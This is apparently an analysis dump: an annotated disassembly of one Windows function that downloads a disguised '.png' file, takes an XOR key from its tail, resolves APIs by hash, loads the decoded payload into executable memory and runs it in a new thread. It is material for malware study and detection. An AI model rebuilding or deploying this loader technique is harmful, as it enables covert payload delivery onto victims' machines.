Function at 0x140003860
Capabilities:
Download url
Encode data using xor
Get common file path
Receive data

Disassembly:
push rbp
lea rbp, [rsp - 0x310]
sub rsp, 0x410
call fcn.140003000
test al, al
jne 0x140003888
mov eax, 1
add rsp, 0x410
pop rbp
ret
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140002b70
test al, al
je 0x14000387a
mov ecx, 0x1f4
mov qword [rsp + 0x420], rbx
mov qword [rsp + 0x430], rdi
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400035c0
mov ecx, 0x1f4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rbp - 0x78]
lea rcx, [0x1400493e0]
xor edi, edi
xor r8d, r8d
xor edx, edx
mov qword [rbp - 0x78], rdi
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x1f0]
mov r8d, 0x104
call fcn.14002f800
lea r8, [rbp + 0x1f0]
lea rdx, str._s2024.png
lea rcx, [rbp + 0xe0]
call fcn.140009f70
lea r8, [rbp + 0xe0]
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x30]
call fcn.140004d90
cmp qword [rbp + 0x78], rdi
jne 0x1400039dc
lea rcx, str.Failed_to_open_the_downloaded_file.
call fcn.140009ab0
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140003f90
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x140003987
mov rcx, qword [rcx + rbx + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove edi, ecx
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test edi, edi
je 0x1400039ac
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x1400039a4
or edx, 4
xor r8d, r8d
call fcn.1400024b0
lea rcx, [rbp + 0x80]
call fcn.140004ed0
lea r11, vtable.std::ios_base.0
lea rcx, [rbp + 0x80]
mov qword [rbp + 0x80], r11
call fcn.14000b1bc
mov eax, 1
jmp 0x140003d73
mov rcx, qword [rbp - 0x30]
mov qword [rsp + 0x428], rsi
movsxd rax, dword [rcx + 4]
test byte [rbp + rax - 0x20], 6
jne 0x140003a24
mov rcx, qword [rbp + rax + 0x18]
lea rdx, [rsp + 0x68]
mov r9d, 1
mov rax, qword [rcx]
xor r8d, r8d
mov dword [rsp + 0x20], 1
call qword [rax + 0x50]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
jmp 0x140003a2e
mov rdx, qword [0x140049598]
mov rax, rdi
movsxd rbx, eax
movsxd rax, dword [rcx + 4]
add rbx, rdx
test byte [rbp + rax - 0x20], 6
jne 0x140003a99
movsxd rax, dword [rcx + 4]
lea rdx, [rsp + 0x68]
xor r9d, r9d
mov rcx, qword [rbp + rax + 0x18]
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov rax, qword [rcx]
call qword [rax + 0x50]
movsxd r11, dword [rsp + 0x70]
add r11, qword [rsp + 0x68]
cmp r11, qword [0x140049598]
jne 0x140003a99
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x20]
lea rcx, [rbp + rcx - 0x30]
or edx, 2
cmp qword [rcx + 0x48], rdi
jne 0x140003a91
or edx, 4
xor r8d, r8d
call fcn.1400024b0
lea rcx, [rsp + 0x68]
mov rdx, rbx
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
call fcn.140004ca0
mov rsi, qword [rsp + 0x68]
lea rcx, [rbp - 0x30]
mov r8, rbx
mov rdx, rsi
call fcn.1400042c0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x140003b7a
lea rcx, str.Failed_to_read_the_file_content.
call fcn.140009ab0
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140003f90
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x140003b18
mov rcx, qword [rcx + rbx + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove edi, ecx
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test edi, edi
je 0x140003b3d
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x140003b35
or edx, 4
xor r8d, r8d
call fcn.1400024b0
test rsi, rsi
je 0x140003b4a
mov rcx, rsi
call fcn.14002dcdc
lea rcx, [rbp + 0x80]
call fcn.140004ed0
lea r11, vtable.std::ios_base.0
lea rcx, [rbp + 0x80]
mov qword [rbp + 0x80], r11
call fcn.14000b1bc
mov eax, 1
jmp 0x140003d6b
mov qword [rsp + 0x438], r12
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x408], r13
mov qword [rsp + 0x400], r14
call fcn.1400067b0
test rax, rax
jne 0x140003bc5
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x20]
lea rcx, [rbp + rcx - 0x30]
or edx, 2
cmp qword [rcx + 0x48], rdi
jne 0x140003bbd
or edx, 4
xor r8d, r8d
call fcn.1400024b0
mov rbx, qword [rsp + 0x70]
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x48], 0xf
lea rdx, [rbx - 0x10]
mov r8, rbx
mov qword [rbp - 0x50], rdi
mov byte [rbp - 0x60], dil
call fcn.14000aac0
sub rbx, rsi
lea rdx, [rbx - 0x10]
lea rcx, [rsp + 0x68]
call fcn.140004ca0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x68]
mov ecx, 0x14044ae
mov r14, rax
sub r12, r13
mov qword [rsp + 0x60], rdi
mov qword [rbp - 0x68], r12
call fcn.1400034d0
mov ecx, eax
call fcn.14000ad00
lea r9, [rbp - 0x68]
lea rdx, [rsp + 0x60]
xor r8d, r8d
mov rcx, r14
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
call fcn.14000ad11
mov ecx, 0x1130814d
call fcn.1400034d0
mov ecx, eax
call fcn.14000ad00
mov rdx, qword [rsp + 0x60]
mov r9, r12
mov r8, r13
mov rcx, r14
mov qword [rsp + 0x20], rdi
call fcn.14000ad11
mov r9, qword [rsp + 0x60]
mov rsi, qword [rbp - 0x48]
mov rbx, qword [rbp - 0x60]
mov r8, rdi
test r12, r12
je 0x140003cb6
mov r10, qword [rbp - 0x50]
cmp rsi, 0x10
mov rax, r8
lea rcx, [rbp - 0x60]
cmovae rcx, rbx
xor edx, edx
inc r8
div r10
movzx eax, byte [rdx + rcx]
xor byte [r8 + r9 - 1], al
cmp r8, r12
jb 0x140003c91
mov ecx, 0x93ec9d3d
call fcn.1400034d0
mov ecx, eax
call fcn.14000ad00
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
lea rcx, [rbp - 0x70]
mov r9, r14
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.14000ad11
mov rcx, qword [rbp - 0x70]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r14, qword [rsp + 0x400]
mov r12, qword [rsp + 0x438]
cmp rsi, 0x10
jb 0x140003d2e
mov rcx, rbx
call fcn.14002dcdc
test r13, r13
je 0x140003d3b
mov rcx, r13
call fcn.14002dcdc
lea rcx, [rbp + 0x80]
call fcn.140004ed0
lea r11, vtable.std::ios_base.0
lea rcx, [rbp + 0x80]
mov qword [rbp + 0x80], r11
call fcn.14000b1bc
mov r13, qword [rsp + 0x408]
xor eax, eax
mov rsi, qword [rsp + 0x428]
mov rbx, qword [rsp + 0x420]
mov rdi, qword [rsp + 0x430]
add rsp, 0x410
pop rbp
ret